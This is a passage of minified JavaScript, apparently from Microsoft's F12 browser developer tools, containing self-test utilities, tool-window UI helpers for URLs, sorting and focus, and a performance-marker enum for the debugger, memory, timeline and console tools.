e=document.getElementById("testPlayground");e.innerHTML="";e.removeAttribute("style")})}t.cleanupTestPage=m;var p=!1;function _(t,i,s=(()=>e.PromiseUtilities.EmptyPromise)){if(!p&&Microsoft.Plugin.F12.SelfTest.selfTestEnabled){p=!0;t&&t();I(i);var n=e=>s(e).then(()=>!0);Microsoft.Plugin.F12.Communications.getRpcClient().register("afterTest",n)}o=Microsoft.Plugin.F12.SelfTest.crawlerEnabled}t.initialize=_;function g(){return a(()=>h("ms:debugger","Contract.removeAllBreakpoints"),()=>h("ms:debugger","Contract.resume"),()=>h("ms:debugger","Contract.removeAllWatches"),()=>h("ms:debugger","Contract.closeAllTabs"),()=>h("ms:debugger","Actions.setExceptionFilter",[0]),()=>h("ms:dom","ChangesPane.revertAll"),()=>o?Promise.resolve():m())}t.globalTestCleanup=g;function f(e,t=!1,i=!1,s=!1,n=!1){var o={altKey:i,ctrlKey:t,keyCode:e,shiftKey:s};C("keydown",o,n);C("keyup",o,n);C("keypress",o,n)}t.dispatchKeyboardEvent=f;function C(e,t,i=!1){var s=T(e);for(var n in t)s[n]=t[n];i||!document.activeElement?document.dispatchEvent(s):document.activeElement.dispatchEvent(s)}t.dispatchCustomEvent=C;function v(e,t,i,s=!1){return Microsoft.Plugin.F12.Communications.getRpcClient().call(e,"dispatchEventOnPlugin",[t,i,s])}t.dispatchEventOnPlugin=v;function S(t){return e.SelfTestAction.Synchronization.waitForCondition(()=>document.activeElement===document.querySelector(t))}t.verifyActiveElement=S;function E(e){return new Promise(t=>{setTimeout(t,e)})}t.promiseTimeout=E;function T(e){var t=document.createEvent("Events");t.initEvent(e,!0,!0);return t}function I(e){var t=Object.keys(e).reduce((t,i)=>t.concat(y(i,e[i])),[]);Microsoft.Plugin.F12.Communications.getRpcClient().register("runSelfTest",b(e));frameElement?Microsoft.Plugin.F12.Communications.getRpcClient().call("ms:header","registerSelfTests",[t,Number(frameElement.id)]):Microsoft.Plugin.F12.Communications.getRpcClient().call("ms:header","registerSelfTests",[t,Microsoft.Plugin.F12.myPluginId])}function b(e){return async t=>{try{if(frameElement&&frameElement.id!==t.pluginId.toString())return;var i=t.moduleName,s=t.testCaseName;F12.Tools.Utility.Assert.hasValue(e[i],"Unknown module name: "+i);F12.Tools.Utility.Assert.hasValue(e[i][s],"Unknown test name: "+s);await e[i][s]()}catch(e){x(e)}}}function x(e){return["name","message","description","stack"].map(t=>e[t]).filter(e=>e).filter((e,t,i)=>i.indexOf(e)===t).join("\r\n")||"Got empty error from test"}function y(e,t){return Object.keys(t).filter(e=>"metadata"!==e).map(i=>w(e,t,i))}function w(e,t,n){let o=L("priority",t[n],t);void 0===o&&(o=s);let r=L("timeout",t[n],t);void 0===r&&(r=i);const a=L("automationCommand",t[n],t),l=L("disabledWithBug",t[n],t),h=L("requiresTarget",t[n],t),d=L("requireFeatureKey",t[n],t),c=L("drtOnly",t[n],t),u=L("runInCrawler",t[n],t),m=Microsoft.Plugin.F12.SelfTest.crawlerEnabled&&!u,p=!!l||1===h&&Microsoft.Plugin.F12.isTargetEdge||0===h&&!Microsoft.Plugin.F12.isTargetEdge||!!c||m;let _=frameElement?Microsoft.Plugin.F12.PluginId[Number(frameElement.id)]:Microsoft.Plugin.F12.myPluginName;return{disabled:p,metadata:{automationCommand:a,disabledWithBug:l,priority:o,requireFeatureKey:d,requiresTarget:h,timeout:r},moduleName:e,name:[_,e,n].join("."),pluginId:Microsoft.Plugin.F12.PluginId[_],pluginName:_,testCaseName:n}}function L(e,t,i){return t.metadata&&void 0!==t.metadata[e]?t.metadata[e]:i.metadata&&void 0!==i.metadata[e]?i.metadata[e]:void 0}}(t=e.SelfTestUtilities||(e.SelfTestUtilities={}))}(Common||(Common={}));!function(e){"use strict";class t{static initializeToolWindow(){document.addEventListener("mousedown",function(){$m(document.body).removeClass("showFocus")},!0);$m(document).bind("contextmenu",function(){return!1});$m(document).bind("keydown",function(t){if(t.keyCode===e.KeyCodes.F5||t.keyCode===e.KeyCodes.F10&&t.shiftKey){t.preventDefault();t.stopPropagation();return!1}t.keyCode===e.KeyCodes.Tab&&$m(document.body).addClass("showFocus")});$m(".BPT-ToolbarButton").bind("mousedown",function(e){var t=$m(this);t.hasClass("BPT-ToolbarButton-StateDisabled")?e.stopImmediatePropagation():t.addClass("BPT-ToolbarButton-MouseDown")});$m(".BPT-ToolbarButton").bind("mouseup",function(){$m(this).removeClass("BPT-ToolbarButton-MouseDown")});$m(".BPT-ToolbarButton").bind("mouseleave",function(){$m(this).removeClass("BPT-ToolbarButton-MouseDown BPT-ToolbarButton-MouseHover")});$m(".BPT-ToolbarButton").bind("mouseenter",function(e){var t=$m(this);if(t.hasClass("BPT-ToolbarButton-StateDisabled")){e.preventDefault();e.stopImmediatePropagation()}else t.addClass("BPT-ToolbarButton-MouseHover")});$m(".BPT-ToolbarButton").bind("click keydown",function(t){if("click"===t.type||t.keyCode===e.KeyCodes.Enter||t.keyCode===e.KeyCodes.Space){var i=$m(this);if(i.hasClass("BPT-ToolbarButton-StateDisabled")){t.preventDefault();t.stopImmediatePropagation()}else{var s=i.get(0);document.activeElement!==s&&s.focus()}}});$m(".BPT-ToolbarToggleButton").bind("click keydown",function(t){if("click"===t.type||t.keyCode===e.KeyCodes.Enter||t.keyCode===e.KeyCodes.Space){var i=$m(this);if(i.hasClass("BPT-ToolbarButton-StateDisabled")){t.preventDefault();t.stopImmediatePropagation()}else{var s=i.get(0);document.activeElement!==s&&s.focus();if(i.hasClass("BPT-ToolbarToggleButton-StateOn")){i.removeClass("BPT-ToolbarToggleButton-StateOn");i.attr("aria-pressed",!1)}else{i.addClass("BPT-ToolbarToggleButton-StateOn");i.attr("aria-pressed",!0)}}}});$m(".BPT-TabCycle-Horizontal, .BPT-TabCycle-Vertical").children(".BPT-TabCycle-Item").bind("keydown",function(t){if($m(this).parent().hasClass("BPT-TabCycle-Horizontal")&&(t.keyCode===e.KeyCodes.ArrowLeft||t.keyCode===e.KeyCodes.ArrowRight)||$m(this).parent().hasClass("BPT-TabCycle-Vertical")&&(t.keyCode===e.KeyCodes.ArrowUp||t.keyCode===e.KeyCodes.ArrowDown)){var i=$m(this),s=t.keyCode===e.KeyCodes.ArrowLeft||t.keyCode===e.KeyCodes.ArrowUp?i.prev(".BPT-TabCycle-Item").first():i.next(".BPT-TabCycle-Item").first();if(s.length>0){s.attr("tabindex","1");s.focus();i.removeAttr("tabindex")}}});$m(".BPT-TabCycle-Horizontal, .BPT-TabCycle-Vertical").children(".BPT-TabCycle-Item").bind("mousedown",function(e){var t=$m(this).siblings(".BPT-TabCycle-Item").matchAttr("tabindex","1"),i=$m(this);if(i.length>0){i.attr("tabindex","1");i.trigger("focus");t.removeAttr("tabindex")}})}static registerErrorComponent(e,t){window.errorComponent=e;window.errorDisplayHandler=t}static loadString(e,...t){1===t.length&&Array.isArray(t[0])&&(t=t[0]);return Microsoft.Plugin.Resources.getString.apply(this,["/Common/"+e].concat(t))}static scrollIntoView(e,t){if(e&&e.getBoundingClientRect){var i=e.getBoundingClientRect(),s=t.getBoundingClientRect(),n=i.top<s.top,o=i.bottom>s.bottom;if(n||o){e.scrollIntoView(!0);return!0}}return!1}static getSortedObjectProperties(t){var i=[];for(var s in t)i.push(s);i.sort(e.ToolWindowHelpers.naturalSort);return i}static getSortedArrayProperties(t,i){var s,n=[];for(s=0;s<t.length;s++)n.push({property:t[s][i],realIndex:s});n.sort(function(t,i){return e.ToolWindowHelpers.naturalSort(t.property,i.property)});var o=[];for(s=0;s<n.length;s++)o.push(n[s].realIndex);return o}static naturalSort(e,t){var i="__"===e.substr(0,2),s="__"===t.substr(0,2);if(i&&!s)return 1;if(!i&&s)return-1;var n=/(\d+)|(\D+)/g,o=String(e).toLocaleLowerCase().match(n),r=String(t).toLocaleLowerCase().match(n);if(!o&&r)return-1;if(o&&!r)return 1;if(!o&&!r)return 0;for(;o.length>0&&r.length>0;){var a=o.shift(),l=r.shift(),h=parseInt(a,10),d=parseInt(l,10);if(isNaN(h)&&isNaN(d)){if(a!==l)return a.localeCompare(l)}else{if(isNaN(h))return 1;if(isNaN(d))return-1;if(h!==d)return h-d}}return o.length-r.length}static createShortenedUrlText(i){if(!i)return i;if(i instanceof e.Uri){var s=i;if("javascript"===s.scheme)return"javascript:<URI>";var n=s.segments,o=n.pop();o||(o=n.pop());o?s.hostname||"about"!==s.scheme||(o=s.scheme+":"+o):o=s.hostname;return t.tryDecodeURIComponent(o)}var r=i,a="javascript:";if(r.toLowerCase().substr(0,a.length)===a)return"javascript:<URI>";var l=r.indexOf("#"),h=r.indexOf("?"),d=-1;l>-1&&h>-1?d=Math.min(l,h):l>-1?d=l:h>-1&&(d=h);d>-1&&(r=r.substring(0,d));d=Math.max(r.lastIndexOf("/"),r.lastIndexOf("\\"));for(;-1!==d&&d===r.length-1;){r=r.substring(0,r.length-1);d=Math.max(r.lastIndexOf("/"),r.lastIndexOf("\\"))}if(d>-1){r=r.substring(d+1);r=t.tryDecodeURIComponent(r)}return r}static getTruncatedString(e,t=20){if(!e)return e;if(e.length>t){var i=t/2-2;e=e.substr(0,i)+this.loadString("Ellipsis")+e.substr(e.length-i)}return e}static getTruncatedFileName(e,i=20){return t.getTruncatedString(t.createShortenedUrlText(e),i)}static createFileLinkText(e,t,i,s){var n=e?this.getTruncatedFileName(e,s):"";if(t){e&&(n+=" ");n+="("+t;i&&(n+=", "+i);n+=")"}return n}static pathCombine(e,t){var i=/[\/\\]/;return t?this.isAbsoluteUrl(t)||!e?t:"/"===t.charAt(0)&&this.isAbsoluteUrl(e)?this.getRoot(e)+t:e.charAt(e.length-1).match(i)||t.charAt(0).match(i)?e+t:e+((e+t).lastIndexOf("\\")>=0?"\\":"/")+t:e}static getRoot(e){return e.substring(0,e.indexOf("/",e.indexOf("://")+3))}static isAbsoluteUrl(e){return!(!this.isUncPath(e)&&!this.pathStartsWithDriveLetter(e))||!e.match(/^file:\/{2,3}\./i)&&(!!e.match(/^[a-zA-Z][\w\+\-\.]*:/)||this.isDataURI(e))}static isUncPath(e){return!!e.match(/^\\\\/)}static pathStartsWithDriveLetter(e){return!!e.match(/^[A-Za-z]:/)}static isFileURI(e){return e.length>5&&"file:"===e.substr(0,5).toLocaleLowerCase()}static isDataURI(e){return e.length>5&&"data:"===e.substr(0,5).toLocaleLowerCase()}static addFileProtocolIfNeeded(t){!e.ToolWindowHelpers.pathStartsWithDriveLetter(t)&&!e.ToolWindowHelpers.isUncPath(t)||e.ToolWindowHelpers.isFileURI(t)||(t="file:///"+t);return t}static truncateProtocolFromUrl(e){return e.replace(/^[a-zAZ][\w\+\-\.]*:(\/\/)?/g,"")}static parseBase64DataUriContent(e){if(!t.isDataURI(e)||-1===e.indexOf("base64,"))return null;try{return window.atob(e.substr(e.indexOf("base64,")+7))}catch(e){return null}}static parseDataUriMimeType(e){return t.isDataURI(e)&&-1!==e.indexOf(";")?e.substring(5,e.indexOf(";")):null}static hasSelectedText(){return!!window.getSelection().toString()}static getSelectedText(){return window.getSelection().toString()}static getTextForClipboard(){var e=window.getSelection().toString();e&&(e=e.replace(/[\r\n]+/g,"\r\n"));return e}static isDarkThemeBackground(e){if(e){for(var t;(!t||"transparent"===t)&&e&&e.length>0;){t=e.css("background-color");e=e.parent()}if(t){var i=t.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/);if(i&&4===i.length){return(299*parseInt(i[1],10)+587*parseInt(i[2],10)+114*parseInt(i[3],10))/1e3<127}}}return!1}static isContextMenuUp(){return e.ToolWindowHelpers.ContextMenuIsUp}static contextMenuUp(t){e.ToolWindowHelpers.ContextMenuIsUp=t}static nodeInDocument(e,t=document){if(e)for(;e=e.parentNode;)if(e===t)return!0;return!1}static isFocusGood(){var e=document.querySelector(":focus");return e&&"BODY"!==e.tagName}static fireCustomEvent(e,t){var i=document.createEvent("CustomEvent");i.initEvent(t,!0,!0);e.dispatchEvent(i)}static getExtension(e){if(!e)return"";var t=(e=this.createShortenedUrlText(e)).lastIndexOf(".");return t<0?"":e.substr(t).toLowerCase()}static guessMimeTypeFromUrlExtension(e){switch(this.getExtension(e)){case".html":case".htm":return"text/html";case".xml":case".svg":return"text/xml";case".ts":return"text/typescript";case".js":return"text/javascript";case".css":return"text/css";case".less":return"text/less";case".sass":case".scss":return"text/scss";case".coffee":return"text/coffeescript";case".cs":return"text/x-csharp";default:return"text/plain"}}static isNumber(e){return"number"==typeof e&&!isNaN(e)}static stringEndsWith(e,t){return null!==e&&"string"==typeof e&&(null!==t&&"string"==typeof t&&e.indexOf(t,e.length-t.length)>=0)}static stringStartsWith(e,t){return null!==e&&"string"==typeof e&&(null!==t&&"string"==typeof t&&e.slice(0,t.length)===t)}static replaceTextInRange(e,t,i,s){return e.substring(0,t)+s+e.substring(i,e.length)}static mirrorInputElementOffScreen(e){var i=document.createElement("div");i.id="toolwindow-offScreenMirrorElement";document.body.appendChild(i);var s=window.getComputedStyle(e);for(var n in t.TextSizingProps){var o=t.TextSizingProps[n];s[o]&&(i.style[o]=s[o])}i.style.visibility="hidden";i.style.position="absolute";i.style.left="-10000px";i.style.whiteSpace="pre-wrap";i.textContent=e.value||".";return i}static getCharScreenPosition(t,i){var s=e.ToolWindowHelpers.mirrorInputElementOffScreen(t),n=s.childNodes[0],o=document.createRange();o.setStart(n,i);o.setEnd(n,i);var r=o.getBoundingClientRect(),a=s.getBoundingClientRect(),l=t.getBoundingClientRect();s.parentElement.removeChild(s);return{left:r.left-a.left+l.left,right:r.right-a.left+l.left,top:r.top-a.top+l.top,bottom:r.bottom-a.bottom+l.bottom,width:r.width,height:r.height}}static tryDecodeURIComponent(e){try{return decodeURIComponent(e)}catch(t){return e}}static tryEncodeURIComponent(e){try{return encodeURIComponent(e)}catch(t){return e}}static tryEncodeURI(e){try{return encodeURI(e)}catch(t){return e}}static getSelection(e){var t=0,i=0;try{t=e.selectionStart}catch(e){}try{i=e.selectionEnd}catch(e){}return{start:t,end:i}}}t.ContextMenuIsUp=!1;t.TextSizingProps=["boxSizing","width","height","overflowX","overflowY","borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth","borderStyle","paddingTop","paddingRight","paddingBottom","paddingLeft","fontStyle","fontVariant","fontWeight","fontStretch","fontSize","fontSizeAdjust","lineHeight","fontFamily","textAlign","textTransform","textIndent","textDecoration","letterSpacing","wordSpacing","tabSize"];t.CodeMarkers={perfBrowserTools_DiagnosticsToolWindowsConsoleReady:23609,perfBrowserTools_DiagnosticsToolWindowsDomExplorerReady:23610,perfBrowserTools_DiagnosticsToolWindowsExpandConsoleObjectBegin:23611,perfBrowserTools_DiagnosticsToolWindowsExpandConsoleObjectEnd:23612,perfBrowserTools_DiagnosticsToolWindowsExpandConsoleObjectInteractive:23613,perfBrowserTools_DiagnosticsToolWindowsConsoleEvalBegin:23614,perfBrowserTools_DiagnosticsToolWindowsConsoleEvalEnd:23615,perfBrowserTools_DiagnosticsToolWindowsDataTreeToggleBegin:23616,perfBrowserTools_DiagnosticsToolWindowsDataTreeToggleEnd:23617,perfBrowserTools_DiagnosticsToolWindowsTreeViewToggleBegin:23618,perfBrowserTools_DiagnosticsToolWindowsTreeViewToggleEnd:23619,perfBrowserTools_DiagnosticsToolWindowsDomExplorerRefreshBegin:23620,perfBrowserTools_DiagnosticsToolWindowsDomExplorerRefreshEnd:23621,perfBrowserTools_DiagnosticsToolWindowsDomExplorerAttributeChanged:23622,perfBrowserTools_DiagnosticsToolWindowsDomExplorerTabChanged:23623,perfBrowserTools_DiagnosticsToolWindowsNetworkExplorerReady:23624};t.AreCodeMarkersEnabled=!1;e.ToolWindowHelpers=t}(Common||(Common={}));!function(e){"use strict";let t;!function(e){e[e.Timeline_Zoom_Start=101]="Timeline_Zoom_Start";e[e.Timeline_Zoom_Stop=102]="Timeline_Zoom_Stop";e[e.Timeline_GridSort_Start=103]="Timeline_GridSort_Start";e[e.Timeline_GridSort_Stop=104]="Timeline_GridSort_Stop";e[e.Timeline_LoadGraphs_Start=105]="Timeline_LoadGraphs_Start";e[e.Timeline_LoadGraphs_Stop=106]="Timeline_LoadGraphs_Stop";e[e.Timeline_GridScrolled=107]="Timeline_GridScrolled";e[e.Timeline_GridUpdatedForTimeSelection=108]="Timeline_GridUpdatedForTimeSelection";e[e.Timeline_UserSelectedTimeSlice_Start=109]="Timeline_UserSelectedTimeSlice_Start";e[e.Timeline_UserSelectedTimeSlice_Stop=110]="Timeline_UserSelectedTimeSlice_Stop";e[e.Timeline_GridUpdatedForFilterBackground_Start=111]="Timeline_GridUpdatedForFilterBackground_Start";e[e.Timeline_GridUpdatedForFilterBackground_Stop=112]="Timeline_GridUpdatedForFilterBackground_Stop";e[e.Timeline_GridUpdatedForFilterNetwork_Start=113]="Timeline_GridUpdatedForFilterNetwork_Start";e[e.Timeline_GridUpdatedForFilterNetwork_Stop=114]="Timeline_GridUpdatedForFilterNetwork_Stop";e[e.Timeline_GridUpdatedForFilterMeasures_Start=115]="Timeline_GridUpdatedForFilterMeasures_Start";e[e.Timeline_GridUpdatedForFilterMeasures_Stop=116]="Timeline_GridUpdatedForFilterMeasures_Stop";e[e.Timeline_GridUpdatedForFilterFrames_Start=117]="Timeline_GridUpdatedForFilterFrames_Start";e[e.Timeline_GridUpdatedForFilterFrames_Stop=118]="Timeline_GridUpdatedForFilterFrames_Stop";e[e.Timeline_GridUpdatedForFilterName_Start=119]="Timeline_GridUpdatedForFilterName_Start";e[e.Timeline_GridUpdatedForFilterName_Stop=120]="Timeline_GridUpdatedForFilterName_Stop";e[e.Memory_TakeSnapshot_Start=201]="Memory_TakeSnapshot_Start";e[e.Memory_TakeSnapshot_Stop=202]="Memory_TakeSnapshot_Stop";e[e.Memory_CompareSnapshot_Start=203]="Memory_CompareSnapshot_Start";e[e.Memory_CompareSnapshot_Stop=204]="Memory_CompareSnapshot_Stop";e[e.Memory_ViewSnapshot_Start=205]="Memory_ViewSnapshot_Start";e[e.Memory_ViewSnapshot_Stop=206]="Memory_ViewSnapshot_Stop";e[e.Memory_GridSort_Start=207]="Memory_GridSort_Start";e[e.Memory_GridSort_Stop=208]="Memory_GridSort_Stop";e[e.Memory_DisplayFirstLevelSnapshotData_Start=209]="Memory_DisplayFirstLevelSnapshotData_Start";e[e.Memory_DisplayFirstLevelSnapshotData_Stop=210]="Memory_DisplayFirstLevelSnapshotData_Stop";e[e.Memory_ToolReady_Start=211]="Memory_ToolReady_Start";e[e.Memory_ToolReady_Stop=212]="Memory_ToolReady_Stop";e[e.Memory_GridFilterResponse_Start=213]="Memory_GridFilterResponse_Start";e[e.Memory_GridFilterResponse_Stop=214]="Memory_GridFilterResponse_Stop";e[e.Memory_UpdateObjectReferenceGraph_Start=215]="Memory_UpdateObjectReferenceGraph_Start";e[e.Memory_UpdateObjectReferenceGraph_Stop=216]="Memory_UpdateObjectReferenceGraph_Stop";e[e.Memory_ProcessingSnapshot_Start=217]="Memory_ProcessingSnapshot_Start";e[e.Memory_ProcessingSnapshot_Stop=218]="Memory_ProcessingSnapshot_Stop";e[e.Memory_ProcessingDiffSnapshot_Start=219]="Memory_ProcessingDiffSnapshot_Start";e[e.Memory_ProcessingDiffSnapshot_Stop=220]="Memory_ProcessingDiffSnapshot_Stop";e[e.Debugger_StepOver_Start=301]="Debugger_StepOver_Start";e[e.Debugger_StepInto_Start=302]="Debugger_StepInto_Start";e[e.Debugger_StepOut_Start=303]="Debugger_StepOut_Start";e[e.Debugger_OnBreak_Start=304]="Debugger_OnBreak_Start";e[e.Debugger_OnBreak_Stop=305]="Debugger_OnBreak_Stop";e[e.Debugger_PrettyPrint_Start=306]="Debugger_PrettyPrint_Start";e[e.Debugger_PrettyPrint_Stop=307]="Debugger_PrettyPrint_Stop";e[e.Debugger_CloseDocument_Start=310]="Debugger_CloseDocument_Start";e[e.Debugger_CloseDocument_Stop=311]="Debugger_CloseDocument_Stop";e[e.Debugger_RevealRange_Start=314]="Debugger_RevealRange_Start";e[e.Debugger_RevealRange_Stop=315]="Debugger_RevealRange_Stop";e[e.Debugger_CallstackController_GoTo_Start=316]="Debugger_CallstackController_GoTo_Start";e[e.Debugger_CallstackController_GoTo_Stop=317]="Debugger_CallstackController_GoTo_Stop";e[e.Debugger_BreakpointController_SetAllEnabledStates_Start=318]="Debugger_BreakpointController_SetAllEnabledStates_Start";e[e.Debugger_BreakpointController_SetAllEnabledStates_Stop=319]="Debugger_BreakpointController_SetAllEnabledStates_Stop";e[e.Debugger_EditorWindow_NavigateTo_Start=320]="Debugger_EditorWindow_NavigateTo_Start";e[e.Debugger_EditorWindow_NavigateTo_Stop=321]="Debugger_EditorWindow_NavigateTo_Stop";e[e.Debugger_Editor_SetModel_Start=322]="Debugger_Editor_SetModel_Start";e[e.Debugger_Editor_SetModel_Stop=323]="Debugger_Editor_SetModel_Stop";e[e.Debugger_Editor_CreateModel_Start=324]="Debugger_Editor_CreateModel_Start";e[e.Debugger_Editor_CreateModel_Stop=325]="Debugger_Editor_CreateModel_Stop";e[e.Debugger_Editor_Create_Start=326]="Debugger_Editor_Create_Start";e[e.Debugger_Editor_Create_Stop=327]="Debugger_Editor_Create_Stop";e[e.Debugger_Editor_Layout_Start=328]="Debugger_Editor_Layout_Start";e[e.Debugger_Editor_Layout_Stop=329]="Debugger_Editor_Layout_Stop";e[e.Debugger_Editor_ChangeViewZones_Start=330]="Debugger_Editor_ChangeViewZones_Start";e[e.Debugger_Editor_ChangeViewZones_Stop=331]="Debugger_Editor_ChangeViewZones_Stop";e[e.Debugger_Editor_RevealPosition_Start=332]="Debugger_Editor_RevealPosition_Start";e[e.Debugger_Editor_RevealPosition_Stop=333]="Debugger_Editor_RevealPosition_Stop";e[e.Debugger_Editor_SaveViewState_Start=334]="Debugger_Editor_SaveViewState_Start";e[e.Debugger_Editor_SaveViewState_Stop=335]="Debugger_Editor_SaveViewState_Stop";e[e.Debugger_Editor_RestoreViewState_Start=336]="Debugger_Editor_RestoreViewState_Start";e[e.Debugger_Editor_RestoreViewState_Stop=337]="Debugger_Editor_RestoreViewState_Stop";e[e.Debugger_EditorWindow_CreateDataTipFromPosition_Start=338]="Debugger_EditorWindow_CreateDataTipFromPosition_Start";e[e.Debugger_EditorWindow_CreateDataTipFromPosition_Stop=339]="Debugger_EditorWindow_CreateDataTipFromPosition_Stop";e[e.Debugger_BreakpointController_SetEnabledState_Start=340]="Debugger_BreakpointController_SetEnabledState_Start";e[e.Debugger_BreakpointController_SetEnabledState_Stop=341]="Debugger_BreakpointController_SetEnabledState_Stop";e[e.Debugger_BreakpointController_BreakpointChanged_Start=342]="Debugger_BreakpointController_BreakpointChanged_Start";e[e.Debugger_BreakpointController_BreakpointChanged_Stop=343]="Debugger_BreakpointController_BreakpointChanged_Stop";e[e.Debugger_BreakpointWindow_BreakpointChanged_Start=344]="Debugger_BreakpointWindow_BreakpointChanged_Start";e[e.Debugger_BreakpointWindow_BreakpointChanged_Stop=345]="Debugger_BreakpointWindow_BreakpointChanged_Stop";e[e.Debugger_WatchWindowView_RefreshView_Start=346]="Debugger_WatchWindowView_RefreshView_Start";e[e.Debugger_WatchWindowView_RefreshView_Stop=347]="Debugger_WatchWindowView_RefreshView_Stop";e[e.Debugger_StepDocument_Start=348]="Debugger_StepDocument_Start";e[e.Debugger_ToggleJMC_Start=349]="Debugger_ToggleJMC_Start";e[e.Debugger_ToggleJMC_Stop=350]="Debugger_ToggleJMC_Stop";e[e.Debugger_ToggleCallstackLibraryFrames_Start=351]="Debugger_ToggleCallstackLibraryFrames_Start";e[e.Debugger_ToggleCallstackLibraryFrames_Stop=352]="Debugger_ToggleCallstackLibraryFrames_Stop";e[e.Debugger_SpecifyUrlAsJMCType_Start=353]="Debugger_SpecifyUrlAsJMCType_Start";e[e.Debugger_SpecifyUrlAsJMCType_Stop=354]="Debugger_SpecifyUrlAsJMCType_Stop";e[e.Debugger_Persistence_DataLoad_Start=355]="Debugger_Persistence_DataLoad_Start";e[e.Debugger_Persistence_DataLoad_Stop=356]="Debugger_Persistence_DataLoad_Stop";e[e.Debugger_Persistence_AddBreakpoints_Start=357]="Debugger_Persistence_AddBreakpoints_Start";e[e.Debugger_Persistence_AddBreakpoints_Stop=358]="Debugger_Persistence_AddBreakpoints_Stop";e[e.Debugger_Persistence_AddWatches_Start=359]="Debugger_Persistence_AddWatches_Start";e[e.Debugger_Persistence_AddWatches_Stop=360]="Debugger_Persistence_AddWatches_Stop";e[e.Debugger_Persistence_TabOpen_Start=361]="Debugger_Persistence_TabOpen_Start";e[e.Debugger_Persistence_TabOpen_Stop=362]="Debugger_Persistence_TabOpen_Stop";e[e.Debugger_Persistence_SaveState_Start=363]="Debugger_Persistence_SaveState_Start";e[e.Debugger_Persistence_SaveState_Stop=364]="Debugger_Persistence_SaveState_Stop";e[e.Debugger_SourceMap_ToggleSourceMap_Start=365]="Debugger_SourceMap_ToggleSourceMap_Start";e[e.Debugger_SourceMap_ToggleSourceMap_Stop=366]="Debugger_SourceMap_ToggleSourceMap_Stop";e[e.Debugger_SourceMap_ParseSourceMapAsync_Start=367]="Debugger_SourceMap_ParseSourceMapAsync_Start";e[e.Debugger_SourceMap_ParseSourceMapAsync_Stop=368]="Debugger_SourceMap_ParseSourceMapAsync_Stop";e[e.Debugger_Editor_GetOrCreateMode_Start=369]="Debugger_Editor_GetOrCreateMode_Start";e[e.Debugger_Editor_GetOrCreateMode_Stop=370]="Debugger_Editor_GetOrCreateMode_Stop";e[e.Debugger_OnAddDocuments_Info=371]="Debugger_OnAddDocuments_Info";e[e.Debugger_Intellisense_ListBox_Build_Start=372]="Debugger_Intellisense_ListBox_Build_Start";e[e.Debugger_Intellisense_ListBox_Build_Stop=373]="Debugger_Intellisense_ListBox_Build_Stop";e[e.Debugger_Intellisense_ListBox_Reset_Start=374]="Debugger_Intellisense_ListBox_Reset_Start";e[e.Debugger_Intellisense_ListBox_Reset_Stop=375]="Debugger_Intellisense_ListBox_Reset_Stop";e[e.Debugger_Intellisense_Menu_Filter_Start=376]="Debugger_Intellisense_Menu_Filter_Start";e[e.Debugger_Intellisense_Menu_Filter_Stop=377]="Debugger_Intellisense_Menu_Filter_Stop";e[e.Debugger_Intellisense_Menu_Layout_Start=378]="Debugger_Intellisense_Menu_Layout_Start";e[e.Debugger_Intellisense_Menu_Layout_Stop=379]="Debugger_Intellisense_Menu_Layout_Stop";e[e.Debugger_Intellisense_Provider_Get_Expression_Start=380]="Debugger_Intellisense_Provider_Get_Expression_Start";e[e.Debugger_Intellisense_Provider_Get_Expression_Stop=381]="Debugger_Intellisense_Provider_Get_Expression_Stop";e[e.Debugger_Intellisense_Provider_Update_Start=382]="Debugger_Intellisense_Provider_Update_Start";e[e.Debugger_Intellisense_Provider_Update_Stop=383]="Debugger_Intellisense_Provider_Update_Stop";e[e.Debugger_Intellisense_Provider_Get_Items_Start=384]="Debugger_Intellisense_Provider_Get_Items_Start";e[e.Debugger_Intellisense_Provider_Get_Items_Stop=385]="Debugger_Intellisense_Provider_Get_Items_Stop";e[e.Debugger_AsyncStackProvider_GetFrames_Start=386]="Debugger_AsyncStackProvider_GetFrames_Start";e[e.Debugger_AsyncStackProvider_GetFrames_Stop=387]="Debugger_AsyncStackProvider_GetFrames_Stop";e[e.Debugger_AsyncStackProvider_GetFrames_Timeout=388]="Debugger_AsyncStackProvider_GetFrames_Timeout";e[e.Console_Window_Create_Start=401]="Console_Window_Create_Start";e[e.Console_Window_Create_Stop=402]="Console_Window_Create_Stop";e[e.Console_Attach_Start=403]="Console_Attach_Start";e[e.Console_Attach_Stop=404]="Console_Attach_Stop";e[e.Console_Message_Start=405]="Console_Message_Start";e[e.Console_Message_Stop=406]="Console_Message_Stop";e[e.Console_Input_Start=407]="Console_Input_Start";e[e.Console_Input_Stop=408]="Console_Input_Stop";e[e.Console_Output_Start=409]="Console_Output_Start";e[e.Console_Output_Stop=410]="Console_Output_Stop";e[e.Console_Output_Render_Start=411]="Console_Output_Render_Start";e[e.Console_Output_Render_Stop=412]="Console_Output_Render_Stop";e[e.Console_Item_Toggle_Start=413]="Console_Item_Toggle_Start";e[e.Console_Item_Toggle_Stop=414]="Console_Item_Toggle_Stop";e[e.Console_HtmlLines_Expand_Start=415]="Console_HtmlLines_Expand_Start";e[e.Console_HtmlLines_Expand_Stop=416]="Console_HtmlLines_Expand_Stop";e[e.Console_Context_Menu_Loading_Start=417]="Console_Context_Menu_Loading_Start";e[e.Console_Context_Menu_Loading_Stop=418]="Console_Context_Menu_Loading_Stop";e[e.Console_Scroll_Start=419]="Console_Scroll_Start";e[e.Console_Scroll_Stop=420]="Console_Scroll_Stop";e[e.Console_Intellisense_ListBox_Build_Start=421]="Console_Intellisense_ListBox_Build_Start";e[e.Console_Intellisense_ListBox_Build_Stop=422]="Console_Intellisense_ListBox_Build_Stop";e[e.Console_Intellisense_ListBox_Reset_Start=423]="Console_Intellisense_ListBox_Reset_Start";e[e.Console_Intellisense_ListBox_Reset_Stop=424]="Console_Intellisense_ListBox_Reset_Stop";e[e.Console_Intellisense_Menu_Filter_Start=425]="Console_Intellisense_Menu_Filter_Start";e[e.Console_Intellisense_Menu_Filter_Stop=426]="Console_Intellisense_Menu_Filter_Stop";e[e.Console_Intellisense_Menu_Layout_Start=427]="Console_Intellisense_Menu_Layout_Start";e[e.Console_Intellisense_Menu_Layout_Stop=428]="Console_Intellisense_Menu_Layout_Stop";e[e.Console_Intellisense_Provider_Get_Expression_Start=429]="Console_Intellisense_Provider_Get_Expression_Start";e[e.Console_Intellisense_Provider_Get_Expression_Stop=430]="Console_Intellisense_Provider_Get_Expression_Stop";e[e.Console_Intellisense_Provider_Update_Start=431]="Console_Intellisense_Provider_Update_Start";e[e.Console_Intellisense_